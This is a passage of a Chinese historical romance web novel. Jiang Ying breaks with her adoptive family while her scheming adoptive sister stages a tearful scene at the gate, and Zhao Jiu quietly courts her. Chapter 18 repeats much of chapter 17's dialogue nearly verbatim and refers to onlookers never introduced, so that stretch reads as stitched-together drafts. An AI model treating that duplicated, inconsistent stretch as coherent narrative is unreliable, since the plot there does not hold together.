这是她失而复得的珍宝啊,无论怎么弥补疼爱都不为过。
“姜璎!姜璎你给我站住!”
身后的怒音越来越近,姜璎充耳不闻。
卫国公府的下人也不是吃干饭的,挡在姜承祁面前,绝不让他靠近姜璎。
“阿池!”
姜承祁紧紧盯着她:“阿娘这几天一直念着你,你要还有良心,现在就去做几道阿娘喜欢吃的菜,好好弥补一二,之前的事情,我们可以既往不咎,永安侯府还是你的家。”
他自认为给出了台阶,只要姜璎顺坡而下。
殊不知,姜璎以前毫无脾气地退让,是因为她把刘氏他们放在第一位,所以不管姜宝瑜怎么做,她都逆来顺受。
但现在,赵咎才是姜璎心中的第一位,他说的话于她而言是圣旨也不为过。
在车上的时候,赵咎说过,要她早些回去一起用午膳。
她不能再耽搁时辰了。
已经走到大门口,姜璎看了姜承祁一眼,纠正道:“永安侯府不是我的家。”
“你说什么胡话?永安侯府不是你的家,哪里才是……”话音戛然而止。
他们都看见了一个本不该出现在此的人。
赵咎站在车旁,依旧还是早上那套玄青色窄袖衣衫,日照之下,衣衫上的缂丝图案仿佛泛着银光,格外引人注目。
“九郎来接姑娘了!”香薷惊喜道。
什么?
姜承祁心中生出一种难以言喻的恐慌,下意识伸手抓住姜璎,却只碰到一片衣角。
“卫国公府才是我的家。”这是她留下的最后一句话。
说完便毫无眷恋地走出这道大门。
姜承祁眼睁睁看着她提起裙摆,头也不回,似幼鸟投林般,小跑着到赵咎面前。
“赵九郎君!”
“跑什么?”赵咎扶住她的肩膀,冷冷看了一眼姜承祁,身子一侧挡住了他的目光,“先上车。”
姜承祁看着眼前这一幕,心脏蓦地抽搐,泛起丝丝缕缕的闷疼。
这一刻,他不仅没有因为“姜璎被赶回来”是误会而高兴,反而生出一种卑劣的愤怒。
为什么赵咎要过来?!
明明只要姜璎孤苦无依、无处可去。
她就可以回到永安侯府。
她是他们永安侯府的人不是吗?
姜承祁眼眶泛红。
空落落的手掌心却在一遍又一遍提醒他,姜璎头也不回离开的事实。
她不会再回来了。
她对这个家,没有一点留恋。
“阿兄?”姜宝瑜和刘氏赶了过来,左看右看,都没看见姜璎的人。
刘氏气恼道:“阿池呢?你怎么就让她走了?快派人去追回来啊!”
“追不回来了。”
“怎么会?妹妹从前不是最听阿兄的话吗?”姜宝瑜捂着嘴发出小小声的惊呼,又担忧道,“她离开永安侯府,能去哪儿呢?”
刘氏微恼道:“阿池真是太不懂事了!”
“她回卫国公府了。”
姜承祁说完,就见刘氏母女俩面色一变。
姜宝瑜滞了片刻,好半天才道:“回卫国公府?她不是……”不是被赶回来的吗?
不对,不对!
姜宝瑜忽然想起姜璎今日的打扮,还有她身边婢女的忠心维护,怎么看都不像是被赵咎厌弃的样子。
那她回来做什么?就为了那一块破玉佩?
“赵咎亲自来接的阿池,她性子刚直,被冤枉成小偷小摸,以后肯定不会回来了。”
姜承祁定定地看着妹妹:“阿宝,阿池既然说了她没拿,你你为什么不肯相信,还是一口咬定她偷了你的东西?”
姜承祁想到姜璎决绝的背影,心口就仿佛被凿开一个洞,冷风直直灌进来,他开始后悔,抑或者终于生出一些愧疚。
他刚才,不该那么对阿池的。
“阿兄……”姜宝瑜愣住了,脸上尽是委屈,“我只是太担心妹妹了,她忽然回来,又直冲我的院子,我以为……”
刘氏责怪地拍了一下姜承祁,“行了,阿池走了就走了,不过就是气头上,日后总会消气的。倒是你,怎么能怀疑阿宝呢?快和阿宝道歉。”
姜承祁看着妹妹通红的眼睛,脑海里浮现的却是姜璎平静而冷淡的神情。
他心中一团乱麻,实在不知道该说什么,推开她们径直回了自己的院子。
第15章 可爱
另一边,赵咎扶着姜璎上了车,等她乖乖坐好,才问:“东西拿了没有?”
“拿了!但是……”
“嗯?”
赵咎看了她一眼,伸出手道:“给我。”
姜璎犹豫了一下,恋恋不舍地把攥在手心的玉佩交到赵咎手里。
赵咎挑了下眉,他是让她把斗篷给脱下来。
不过,赵咎摩挲了一下玉佩,算不上美玉的质地,雕刻也是颇为笨拙,正面刻着一个“璎”字,反面则刻着“阿池”两个小字。
他故意问道:“你要给我?”
姜璎不会说谎,眼里的不舍都快溢出来了,但想到赵咎为她做了那么多,还是点了点头。
作为一个穷光蛋,她能给赵咎的只有这块玉佩。
姜璎自己也觉得不好意思,干巴巴道:“这个,不值什么钱,您要是不喜欢的话……”
赵咎指腹轻轻摩挲着上头的小字,打断道:“真的给我?”
“嗯!”姜璎对一个人好,那就是全心全意地付出。虽然她现在拿不出什么……
赵咎嘴角微微上扬,难得体贴安抚了一句:“心意珍贵,远非铜臭可衡量。”
“既然你如此大方,那这定情信物我就收下了。”
“您不嫌弃就……”一句话没说完,姜璎被“定情信物”四个字冲击得满脸呆滞。
定、定情信物?
赵咎警惕地看了她一眼,把玉佩收了起来,省的她反悔。
姜璎觉得哪里不对劲,但又说不上来,脑子卡顿半天,最后得出一个结论。
——赵九郎君肯定是不想她下不来台才这么说的。
他好体贴!
和总是贬低玉佩是个不值钱破物件的姜承祁完全就是两种人!
姜璎为“定情信物”找好理由,肩膀微微放松,忽然赵咎又朝她伸出手。
惊慌失措下,姜璎脱口而出:“我没有其他东西了!”
赵咎:“……”
他颇有些不爽,“我看着很像强盗吗?”
这要是王氏在场,指不定就啐他了,有脸抢小姑娘东西,没脸承认。
姜璎连忙摇头道:“没、没有。”
两人对视片刻,就在姜璎心虚地想要低下头时,赵咎放过她,哼了一声道:“斗篷,脱下来给我。”
姜璎连忙把大毛斗篷解开,乖乖递到赵咎手里。
原来是虚惊一场,她松了口气。
赵咎问:“你刚才说什么?但是,然后呢?”
提到这个,姜璎肉眼可见的心虚起来,小声承认错误道:
“对不起,我没有做到答应的事情……我和他们说了好多话。”
她耷拉着脑袋,看上去又可爱又可怜。
赵咎差点被逗笑,这下真没忍住,捏了捏她雪白的脸蛋。
“老实交代,都说了什么?”
姜璎于是一五一十地把事情经过说了一遍,她悄悄算着手指头,一二三四……她好像说了有十句话!
姜璎心里直打鼓,小声道:“赵九郎君,你罚我吧。”
赵咎神情看不出喜怒,却给人十足的压力,“这种小事,还需要你亲自上阵,与他们多费口舌?”
外间香薷等人齐齐跪地,“是奴无能!”
姜璎胆战心惊,生怕又和上次那样,害得香薷她们受罚,一时情急便抓住了赵咎的袖子。
“赵九郎君不要生气!是、是我自己气不过,才同他们呛了几句。香薷香附她们很好,恪尽职守,说的话也尤为解气!”
“真的!香附还打了她们呢!”
怕赵咎不信,她边说边用力点头。
尤其可爱。
赵咎的目光落在她手上,这一回似乎很好说话,淡淡道:“是吗?照这么说,我还得嘉奖她们。”
姜璎小鸡啄米似的点头,“嗯嗯!”
她就知道赵九郎君是通情达理的人。
正当她准备松手时,赵咎握住了她的手腕,轻轻捏了捏。
“你今日表现也很好,我是不是也得嘉奖你?”
嘉奖二字对姜璎来说是个奢侈,在永安侯府,她做的再多也是理所应当,顶多被夸几句能干懂事。
姜璎没想到自己还有被嘉奖的一天,不由自主地睁圆了眼睛,“我、我吗?”
赵咎“嗯”了一声,不吝夸奖:“以后再碰上这种事情,你就像今日这样骂几句出出气,别受了委屈,至于其他的,就交给香附她们。”
布满茧子的指腹轻轻揉了一下姜璎的掌心。
似告诫,又像宽慰。
他注视着她,“不要自己动手,记住了吗?”
姜璎心跳漏了半拍,但很快反应过来,点点头,一脸坚定道:“赵九郎君你放心!我是不会冲动行事,给你丢脸的!”
她的出身本来就比不上世子夫人她们,要是再失了分寸,让别人看笑话,那就太对不起赵咎了!
赵咎听着总觉得哪里怪怪的,但转念一想,姜璎怕给他丢脸,说明已经有了夫妻一体的意识。
“夫妻”二字在舌尖滚了一圈,好似融化的糖,蔓开丝丝缕缕的甜意。
赵咎眉眼渐柔,压了压嘴角难以抑制的上扬弧度,矜持道:“你知道就好。”
姜璎能感觉到他的愉悦,想来是满意的。
“嗯,我不会忘记的。”她郑重其事地保证。
很快到了卫国公府,两人一前一后下了牛车,赵咎特意放慢脚步,等着姜璎走到自己身边。
“赵九郎君。”姜璎看着他挺拔的身材,蓦地想起姜承祁的话。
“怎么了?”
他偏头看她,眼神专注,好似黑沉沉的夜幕,时常让人捉摸不透,但又会在关键的时候给足安全感。
姜璎最终还是没有问出口。
赵咎做事一定是有理由的,总归不会害她。既然他不想让她知道,那她就当作不知道吧。
外头的流言蜚语那么多,她既然帮不上忙,就更不能给赵咎徒增烦恼,平添麻烦。
“没事……”姜璎抿了抿嘴,梨涡若隐若现,赵咎发现她每次笑起来都给一种很乖的感觉,“我就是想问问,我们一会儿去世子夫人那边一起用膳吗?”
姜璎眼中藏着小小的期待。
赵咎脚步一顿,心里生出一丝微妙的不爽。
“大嫂今日要陪四郎五郎一同进食,我们吃我们的。”他语气轻描淡写。
要是王氏在场,一定骂他:好的不学,又学他大哥那套道貌岸然!一天天的就知道骗小姑娘!
第16章 胡话
春夜急雨,来势汹汹,雨水噼里啪啦地砸在屋檐,宛若鼓声,顺流而下形成一片水幕。
长厅灯火通明,舞姬们赤足踩着地衣,随乐翩翩起舞。
舞乐之中,姜承祁端起酒盏一饮而尽。
“倒酒!”
依偎在姜承祁身边的美姬连忙将倒满的酒盏送到他嘴边。
姜承祁不是一个沉溺酒色享乐的人,养着府里的歌姬也是为了哄母亲开心。
然而,今日不知怎么,竟一反常态。
美姬看着姜承祁酗酒的样子,不禁心惊肉跳,试图劝道:“大郎君,还是早些歇息吧……”
柔软的手臂攀上姜承祁的肩膀,却被他一把甩开,“滚开!”美姬毫无防备地摔倒在地,忍着疼爬起来跪好,继续给他斟酒。
姜承祁醉眼朦胧,透过翩翩起舞的舞技,似乎看见了姜璎朝他走来的身影。
“阿兄?”她微微蹙眉,似乎有些苦恼,“怎么又喝醉了呢。”
“我去煮醒酒汤。”她转身欲走。
“阿池!”姜承祁霍然起身,急急追上去,“你别走!别——”
咕噜噜——
酒壶从短案上滚了下去,酒水洒一地。
姜承祁推开舞姬,伸出手,却只抓住一团空气。
幻觉消失得一干二净。
姜承祁神情怔怔,望着外头的瓢泼大雨,忽然红了眼。
不会再回来了。
她走的那样决绝,就是想彻底和他们断绝关系。
姜承祁喃喃道,“姜璎,怎么会有你这么狠心的人?”
“大郎君,奴扶您去歇息吧。”伺候的仆婢担忧道。
姜承祁喝醉了,醉的不省人事,就连婢女端来醒酒汤也被他打翻。
“阿池、阿池。”他胡乱地念着姜璎的小名,身体一阵冷一阵热,难受得几乎要落泪。
为什么要走?
她以前是那么乖,那么懂事,六七岁的年纪就会照顾人,给他煮醒酒汤,小小的手轻轻揉着他的太阳穴,一下又一下,笨拙却细心。
他醉的晕乎乎,拍她脑袋,问她累不累。
她仰着小脸,笑容透着几分傻气,认真道:“不累呀,能给阿兄做点什么,我好高兴的。”
“阿池……”姜承祁发出一声痛苦的呜咽。
他后悔了,他不应该赞同爹娘让她代替阿宝嫁到将军府的。
如果没有这件事,姜璎就不会被赵咎哄骗了去。
更不会离开永安侯府!
婢女摸了摸姜承祁的额头,惊呼一声,“怎么这么烫?”
顿时,院子里的下人忙成一团。
打水的打水,请郎中的请郎中。
婢女见姜承祁一直说胡话,心里不踏实,便去禀报刘氏,一番折腾下来,天也快亮了。
姜璎用完早膳,继续跟着王氏看账本。
赵家资产颇丰,随便一处京郊庄子的收成,就足够姜璎算上小半个月。
王氏今日精神不济,陪了姜璎一会儿便去了里头歇息,一直到晌午用食,才将将醒来。
“阿池?”
听到呼唤,姜璎立马放下账本,“夫人,怎么了?”
王氏没想到她就这样坐了一上午,不由无奈道:“你这孩子,累了就去歇着……”
“我不累!”姜璎连忙道,只是看账本而已,顶多费些心神,压根算不上是体力活,和她每天伺候刘氏相比,都可以说是享福了。
没有人会不喜欢勤奋上进的孩子,王氏也不例外。更别说姜璎乖巧贴心,让只有三个儿子的王氏狠狠过了一把养女儿的快乐。
“不累也要歇一歇,不然眼睛该看疼了。”王氏嗔道。
今日没有赵咎来烦,姜璎看账本的速度都快了不少。王氏翻看以后,不禁满意点头。
姜璎没怎么学过算数,但上手很快,人又聪明,随便点拨几句就能融会贯通,特别省心。
两人一同用了午膳,王氏胃口不佳,吃了几口就搁下筷箸。
姜璎担忧地望着她,王氏笑道:“不要紧,许是昨儿傍晚累着了。”
姜璎忍不住道:“是不是四郎君和五郎君顽皮,折腾您了?”
“什么?”
王氏一时半会没能反应过来。
跟四郎五郎有什么干系?
姜璎以为自己说错了话,讷讷道:“昨天回来的时候,赵九郎君说,夫人要陪两位小郎君一同用膳……我还以为……”
王氏不可思议道:“他是这么跟你说的?”
四郎和五郎念书念的好好的,哪会跑后院来找母亲撒娇?这要是父亲回来知道,又得罚他们抄族谱!
亏得赵咎眼都不眨,谎话张口就来。
就为了和姜璎单独用食。
辛夷等人低着头,一个个憋笑。
从前九郎不近女色,太后娘娘还担心小弟染了断袖恶习,恨不得一个劲地往他房里塞人。
如今有了心上人,又是当街抢亲,又是求来赐婚诏书,这还不够!
还要隔三差五地哄骗人家小娘子!
“他可真是出息了!”王氏低低哼了一声。
姜璎不知道大家都在笑什么,王氏又不好揭穿赵咎的坏心思,好在辛夷打圆场糊弄了过去。
外头雨声渐小。
淅淅沥沥,潺潺不绝。
王氏掩唇打了个小小的哈欠,不知道是不是昨夜没睡好的缘故,这会儿竟又觉得疲倦困顿。
“阿池,你回去午憩……”
话未说完,一个婢女走进来,禀报道:“夫人,永安侯府的大姑娘在外头。”
“说是……想要见一见姑娘。”
屋内静了片刻。
王氏皱了皱眉,她对永安侯府的大姑娘可没什么好印象,不过见不见的,还得看姜璎自己。
王氏温和道:“阿池,你要见她吗?”
姜璎摇了摇头,“不,我不要。”
王氏颔首,还好没有心软过头。
不过心软也不是坏处,她就喜欢纯良憨厚的孩子。
王氏身子疲乏,派人去打发了姜宝瑜,就回房歇息了。
“阿池,你也回去歇着吧,这样的雨天,最适合小憩了。”她笑道,许是自己没有女儿,对姜璎难免多了几分纵容。
这要是换在永安侯府,别管晴天雨天,就是暴雪寒夜,只要刘氏一句话,姜璎都得从床上爬起来,为她洗手作羹汤。
世子夫人真好。姜璎暗暗想。
姜璎不困,但还是听王氏的话回房歇息。
香薷给她脱了木屐,正要躺下时,香附走进来,又急又气道:“永安侯府的大姑娘非赖在门口不肯走!”
第17章 楚楚
姜璎的脑子“嗡”一下,几乎一片空白,好不容易养出几两肉的小脸也跟着失了血色。
香薷端来热茶,柔声道:“姑娘不用担心,让门房打发了就是。”
说完瞪了香附一眼,她昨日刚得了奖赏就开始得意忘形了不成?这种事情也来惊扰姑娘。
香附这时也意识到自己意气用事了,连忙补救道:“姑娘放心,外头下着雨呢,料想姜大姑娘一会儿就走了。”
不会的。
姜璎心知肚明,她比任何人都要了解姜宝瑜,从某种方面而言,姜宝瑜就是个为达目的不择手段、不达目的绝不罢休的人。
姜璎抿了一口温茶,身子渐暖,方才道:“香薷,备伞吧。”
香薷劝道:“姑娘何必与那种人一般见识?由她去,难道她还能一直赖在外头不成?”
姜璎微微垂眸,轻声道:“她既是来见我的,我不出去,她又岂肯离开?”
若是由着姜宝瑜在外头哭哭啼啼,少不得闹出笑话,还要连累卫国公府颜面受损。
赵咎说,卫国公府就是她的家。
姜璎本就因为赐婚一事害得卫国公府名声有碍而愧疚不已,又怎么能眼睁睁看着姜宝瑜对她来之不易的温暖下手?
更何况,王氏那边毫无动静,不管是身子疲倦歇下了,还是有意考验姜璎,她都不能若无其事、心安理得地躺在这里。
“去拿伞吧。”
香薷恭声应答,她是赵家的家生子,见姜璎一心一意为赵家打算,心中自然高兴。
九郎是不会看错人的。
香附正为自己的莽撞懊恼,小声唤道:“姑娘……”
“你去把那件素锦披风拿来吧。”姜璎笑了笑,知道她心中忐忑,也知道她是对自己忠心耿耿才如此厌恶姜宝瑜,温声道,“以后不要这样冲动了。”
香附眼睛一红,用力点了点头,“是。”
赵家门风严谨,对待下人虽算不上苛刻,但也极重规矩,姜璎若是对她们太过纵容宽和,只会害了她们。
香附给姜璎穿上披风,又取了个暖手炉,一行人沿着长廊往前院走去。
天色阴暗,雨势渐急。
随着距离越近,细雨之中的哽咽声也变得尤为清晰。
“妹妹,求求你出来见一面吧,就见一面……”
“我知道你讨厌我,可爹娘兄长总是无辜的啊。”
姜宝瑜站在门外,一身杏色衣裙,婢女浮叶虽然打着伞,但不知是何缘故,还是让主子淋湿了半边肩膀。
柔弱的身躯受不得半点雨水,姜璎出来时,正好看见这摇摇欲坠、我见犹怜的一幕。
“妹妹!”姜宝瑜眼睛一亮,豆大的泪珠紧随其后,“你终于肯出来见我了……”
姜璎淡淡道:“姜大姑娘好歹是侯门嫡女,便是走失多年,回来之后也学过礼数。登门拜访不送上拜帖也就罢了,这番哭哭啼啼、赖着不走的架势,不知道的还以为是哪来的流民。”
浮叶气的不轻,声音尖锐道:“二姑娘,大姑娘到底哪里得罪你了,你要这样刻薄说话?难道就因为大姑娘归家,老爷夫人多疼爱她一些,你就处处见不得她好?”
真是好一张利嘴颠倒黑白!
到底是谁见不得谁好?
姜璎习以为常,香附却忍不了一点,压着火笑吟吟道:“你这丫头惯会污蔑人,昨日才因污蔑主子受罚,今日又开始不长记性了?”
浮叶想到昨天那一巴掌,就恨的牙根痒痒,却也不敢再说话了。
“妹妹,浮叶也是怕我受欺负……”姜宝瑜哀求道,“你大人有大人,不要和她计较好吗?”
姜璎面露疑惑:“她的担心是不是有些多余了?”
“你一句话,就能让侯爷和夫人给我下药,替你坐进花轿。你掉两滴眼泪,就可以诬陷我偷窃。哪次你做错事情,不是我受罚呢?”
姜宝瑜面色一僵,发白的唇瓣微微颤抖,流泪道:“妹妹,你一定是误会了……爹娘只是怜惜我走丢多年,在外头吃了苦,可他们对你也是一样疼爱的。”
姜璎不想听这些,甚至可以说是厌倦。
“你到底想做什么?”
“阿兄生病了!”
说起这个,姜宝瑜的情绪忽然变得尤为激动,满脸泪水道,“我不知道你昨日都跟阿兄说了什么,害他醉酒后着了凉,半夜高烧不退……”
姜承祁醉酒着凉,高烧不退,怎么就成了是她害的?姜璎大为不解。
是她逼姜承祁喝的酒吗?
还是她阻止永安侯府的下人照顾姜承祁?
香薷贴心道:“姜大姑娘,你怕是误会了吧?许是因为姜大公子昨日误会我家姑娘,心里内疚,这才郁结于心,感染风寒。”
香附冷笑道:“自己兄长感染风寒,姜大姑娘不去问责府里下人,反而来怪我家姑娘,莫不是觉得我家姑娘好欺负?”
这对主仆得庆幸这是在外头,否则她非得“雨露均沾”,把她们脸皮子打烂不可!
姜宝瑜深吸一口气,红着眼睛看看姜璎,“妹妹,你在卫国公府过得好,全家都替你高兴。可如今阿兄病了,烧的迷迷糊糊还念着你的名字,你就跟我一起回去看看他吧。”
“算我求你了。”她哽咽着说完,似是终于支撑不住,扑通一声摔在雨水之中。
细雨之中,哭声破碎。
任谁听了都要心疼。
姜璎或许见多了,也没什么感觉,态度甚至可以说称得上冷漠二字。
“不去。”她说,心里却忍不住想起赵咎讽刺姜宝瑜的话。
刘氏三人上门来的那日,他说姜宝瑜这么爱唱戏,就该去乐府高就才是。
如今一看,还真没错。
果然是赵九郎君慧眼识珠,一针见血!
姜璎心情莫名好转。
姜宝瑜不可置信,似乎没想到姜璎这样冷血无情。
“妹妹,你难道忘了当初是阿兄将你捡回来的,救命之恩,难道还不够换你去看他一面吗?”
她泪水涟涟,伤心欲绝。
脑海中浮现起昨夜去看望姜承祁的画面。
他烧的神智不清,握着她的手,把她当成姜璎,一口一个“阿池别走”!
姜宝瑜咬破舌头,血腥气充盈整个喉腔。
“妹妹……”她哀求地望着姜璎,声泪俱下,“我知道你不喜欢我,只要你愿意回家,只要阿兄能好起来,哪怕让我离开永安侯府,我都心甘情愿的。”
说着就要给姜璎磕头。
第18章 做戏
“姜大姑娘好歹是侯门嫡女,便是走失多年,回来之后也学过礼数。登门拜访不送上拜帖也就罢了,这番哭哭啼啼、赖着不走的架势,不知道的还以为是哪来的流民。”
提到卫国公府,姜璎就像是护崽的母鸡,一下子支棱起来,气势汹汹,直截了当问道:“你是故意的吧?故意想让我下不来台,还是说你就是单纯喜欢做戏给别人看?”
姜璎想起刘氏三人上门来的那日,赵咎讽刺姜宝瑜这么爱唱戏,就该去乐府高就才是。
如今一看,果然如此。
还得是赵九郎君慧眼识珠,一针见血!
姜宝瑜习惯了姜璎逆来顺受,无论怎么折磨都一声不吭,见她如今软硬不吃,说话带刺,心里就跟油煎似的难受。
从她被赵咎带走的那一天开始,这种不受控制的感觉就越发强烈,
浮叶气的不轻,声音尖锐道:“二姑娘,大姑娘到底哪里得罪你了,你要这样刻薄说话?难道就因为大姑娘归家,老爷夫人多疼爱她一些,你就处处见不得她好?”
真是好一张利嘴颠倒黑白!
到底是谁见不得谁好?
香附压着火,笑吟吟道:“你这丫头惯会污蔑人,昨日才因污蔑主子受罚,今日又开始不长记性了?”
这对主仆真该庆幸这是在外头,否则她非得“雨露均沾”,把她们脸皮子打烂不可!
浮叶想到昨天那一巴掌,顿时不敢说话了,只忿忿地瞪了一眼香附。
“妹妹,浮叶也是怕我受欺负……”姜宝瑜哀求道,“你大人有大人,不要和她计较好吗?”
姜璎冷冷道:“她的担心未免太过多余。”
“你一句话,就能让侯爷和夫人给我下药,替你坐进花轿。你掉两滴眼泪,就可以诬陷我偷窃。哪次你做错事情,不是我受罚?”
姜宝瑜面色一僵,发白的唇瓣微微颤抖,流泪道:“妹妹,你一定是误会了……爹娘只是怜惜我走丢多年,在外头吃了苦,可他们对你也是一样疼爱的。”
之前最先开口说话的粗人被捂了嘴带下去,没了搅屎棍,百姓的理智仿佛也跟着一起回来。
“嚯,永安侯府这么偏心?那难怪人家不想回去。”
“谁知道回去会不会被卖啊!这姜大姑娘装模作样的本事倒是厉害!”
“行了别说了,赶紧走吧!跟我们也没关系。”
“哎哟,差点忘了我还得去买米呢!”
唏嘘之后,忙碌的百姓纷纷离去,只剩下几个平日里游手好闲的二流子嬉皮笑脸看热闹。
姜宝瑜没想到事情会变成这样,明明刚才大家还是站在她这边的!
不远处传来车轱辘声。
在细雨之中并不明显。
姜宝瑜似有所觉,眼中掠过一抹微光。
“妹妹!”她忽然大声道,湿漉漉的衣裙贴着地面,跟抹布也没什么两样,让她整个人看上去凄惨极了,“只要你愿意回家,只要阿兄能好起来,就算你让我磕头我也是心甘情愿的!”
说着柔弱的身躯就要跪倒下去。
“阿宝不要!”
“我的儿啊!”
声音一前一后。
牛车还未停稳,就有人从车上一跃而下,疾步来到姜宝瑜身边,一把将她搂到怀里。
“阿宝,你别这样......”姜承祁声音沙哑,他才醒没多久就听说姜宝瑜为了他跑到卫国公府来找姜璎。
刘氏看着女儿如此狼狈,几乎是心如刀割,“阿宝,你这是做什么?快,把披风给大姑娘穿上!阿宝,阿娘带你回家!”
姜宝瑜摇头道:“不,我不能走,我要给妹妹磕头赔罪,一定是我昨日误会她,让她不高兴了,她才不愿意回家的……”
“她爱回来不回来!”刘氏声音尖锐。
从她看见自己的宝贝女儿准备给姜璎下跪磕头的那一瞬间,她对姜璎的那点儿愧疚就彻底烟消云散。
永安侯还想要她给姜璎准备嫁妆,做梦!
高攀上卫国公府又如何?在她心里,姜璎给阿宝提鞋都不配!
早知道她是这种白眼狼,她当时就不该养她!
“阿娘!”姜宝瑜扑到母亲怀里放声大哭。
“我们走。”刘氏带着女儿上了牛车。
姜承祁没有跟她们一同上车,而是看向姜璎,布满红血丝的眼眸满是哀伤。
“阿池……你就那么讨厌阿宝吗?”
“不。”姜璎冷冷道,“我是讨厌你们所有人。”
她实在是百思不得其解。
“姜大公子,你当初是救了我不假,可这些年我在永安侯府为奴为婢,日日夜夜伺候着侯夫人,难道还不够偿还恩情吗?”
“你们就这么见不得我过安生日子,非要让我声败名裂,无路可走,是吗?”
声声质问令姜承祁心脏骤痛。
他尚未病愈,嗓子都是哑的,“不……不是这样的。阿宝她只是见你心切,没有考虑那么多。”
就连姜承祁都没想到,姜宝瑜会为了他,来求姜璎,甚至愿意给姜璎下跪磕头。
姜承祁为自己昨日对妹妹产生怀疑而感到羞愧。
但他,好像也没理由责怪姜璎。
“阿池……”姜承祁艰涩道,“我知道我之前说话太过分了,但是我们也是为了你好……”
“行了别说了。”姜璎心里默默道,用赵咎的话来说就是,没一句话我爱听的。
还为她好呢,为她好的表现就是各种污蔑抹黑,把她往死路上逼?
他们不是更爱自己的亲女儿(妹妹)吗?怎么不用同样的方式对待姜宝瑜?
赵咎说得对,永安侯府的人就是喜欢惺惺作态!
姜璎看着姜承祁,认真道:“赵九郎君和卫国公府对我有大恩,再让我从姜大姑娘口中听到任何抹黑他们的话,我一定不会放过她。”
就算她不好自己动手,也要让香薷香附把姜宝瑜的嘴给缝起来!
姜承祁怔怔地看着她,眼眶微红。
他不知道为什么事情会变成这样,明明在阿宝回来以前,姜璎是最贴心懂事不过的……
“姑娘,我们进去吧。”香薷撑着伞,香附扶着姜璎的手臂。
门房快速关上大门。
这永安侯府的人真是晦气!
回房之后,香薷低声道:“姑娘,我们为什么不告诉姜大公子,今日的事儿其实是姜大姑娘一手安排的?”
第19章 心跳
姜璎沉默片刻,摇了摇头道:“没用的。”
不管姜宝瑜做什么,在刘氏等人眼里都是无心之失、天真率直。
但凡有人质疑一句,刘氏这位母亲就会迅速变成刺猬,为自己的女儿造起厚厚的壁垒,她绝不容许任何人伤害姜宝瑜。
姜璎当时逆来顺受、事事恭谨,都能因为些许小事被刘氏和姜承祁谴责心术不正、嫉妒长姐,可想而知证据送到永安侯府的结果。
好一点不了了之,差的话,难保刘氏不会放过自己。
姜璎不想给多生事端,如果能桥归桥、路归路,大家各不相干,那就最好不过了。
折腾了一场,姜璎自然也没什么心思午憩,沐浴更衣、换了身衣裳,便准备去王氏那继续看账本。
才走到门口,帘子掀开,郑氏走了出来。
“二夫人。”姜璎恭恭敬敬,低头行礼。
郑氏微不可察地蹙了蹙眉,语气淡淡道:“大嫂这几日操劳过度,刚喝了汤药歇下,你那些账本什么的就先放一放吧,左右还用不上你来管家。”
说罢看也不看姜璎,转身离去。
平淡语气下的厌恶,与郑氏第一次见姜璎时的态度可谓是天差地别。
“姑娘来了?”辛夷走出来,正好看见郑氏被仆婢簇拥着离去的背影,她笑了笑道,“夫人许是昨夜有些着凉,适才刚服了药,又歇下了,二夫人说话直了一些,姑娘别放在心上。”
姜璎抿了抿嘴,刚才外头闹出这么大的动静,想必现在府里都已经传遍了。
卫国公府本就因为赵咎抢亲一事而备受争议,好不容易宫中赐婚挽回了一些颜面,今日又出了这种笑话……
郑氏身为士族贵女,心里不痛快也是在所难免。
姜璎心情沉甸甸的,是她太多天真,忽略了自己本身就是一个麻烦。
“夫人还好吗?”她忍不住问,眼底藏着担忧忐忑。
辛夷柔声道:“就是有些精神不济,郎中过来看了,说歇上几日就好,不要紧的。”
顿了顿,她又笑道:“姑娘正好趁夫人休息这几日好好偷个懒,不然等日后夫人严格起来,再想偷懒可就难了!”
姜璎知道她是有意宽慰自己,配合地笑了一下,拿了还没看完的账本回房。
“姑娘已经看了好久,用盏茶歇一歇吧。”香薷端来温茶,看了眼房内的更漏,“还有半个时辰就用晚膳了,姑娘有什么想吃的吗?”
姜璎没有作声,她想去看看世子夫人身体有没有好些,又怕打扰到她。
要是赵九郎君在就好了……
这个冒昧的念头刚浮上心头,还未来得及摁下去,外头就响起了赵咎的声音。
“姜璎。”
这一刻,风停雨缓,只有心跳声萦绕耳畔。
姜璎半天没反应过来。
直到赵咎走进屋内,扫视一圈这小小的外间,似满意又不满意,问了一句:“在做什么?”
姜璎回过神,老老实实地回答:“在看账本。”
赵咎“嗯”了一声,又问:“看得懂吗?”
姜璎眨了下眼,羞愧地红了脸,发现赵咎面色淡淡,并没有任何取笑的意思,才小声道:“有些地方,看不太懂。”
赵咎唇角微挑,扫了一眼,心里差不多就有数了。
“京郊庄子的收成,除了粮食以外也就是畜养的鸡鸭牛羊……”
他声音不疾不徐,就跟讲故事似的,一点一点塞进姜璎的脑袋。
很快,姜璎脸上露出恍然大悟的表情。
“啊,我明白了。”她道,“那这些少了的钱,都是夫人允许范围内,给庄子管事的……呃,赏赐?”
赵咎瞥她一眼,“油水就油水,说那么好听做什么?”
他把账本推开,手指微曲敲了下短案,“走吧,一起用晚膳。”
“正好我有事儿问你。”
听到后半句话,姜璎的心跟着提了起来。
她根本就没有做坏事儿的天赋,赵咎还没说什么,她就已经把今日发生的事情老老实实交代了个遍。
“赵、赵九郎君,对不起……”姜璎低垂着头,很是沮丧道,“我又给你们添麻烦了。”
赵咎皱了皱眉,“好好说话。”
姜璎懵了一下,抬眼看他,有些不知所措。
她说错什么了吗?
“又是结巴,又是道歉,你这种表现,很难不让我怀疑你做了什么对不起我的事情。”
赵咎幽幽道:“姜璎,你不会喜欢上别人了吧?”
姜璎:“!!!”
这话把她吓得不轻,几乎是话音落地,她就脱口而出:“没有!”
赵咎望着她的眼睛,似审视似打量,也不知道信了没有,过了一会儿道:“那就是喜欢我咯?”
姜璎眨了眨眼,呆板的大脑自动将“喜欢”替换成“忠心”,一脸认真道:“嗯!赵九郎君放心,我绝不会背叛你的!”
“……”
赵咎得到了想要的答案,耳根子微微发烫,别过脸冷哼一声:“量你也不敢。”
眼见姜璎还要继续保证,赵咎岔开话题,嗤笑道:“不就是讥讽了几句永安侯府的人?这算什么麻烦。我若在场,可就不是说几句不痛不痒的话这么简单了。”
乌黑杏目扫过姜璎白净的小脸,他说得漫不经心,实则没有放过她脸上的任何细微神情。
“就怕我替你了处理那些人,你心里不舒坦。”
姜璎愣了一下,迟疑道:“他们,应该不会再来了。”
赵咎冷冷道:“你不舍得?”
姜璎低声道:“他们毕竟救过我、养过我……如果他们愿意井水不犯河水,那就再好不过了。”
赵咎眼中一闪而过阴霾。
他就知道。
上辈子这个时候,他不在盛京,也压根不知道永安侯府用养女代替亲生女儿嫁去了将军府。
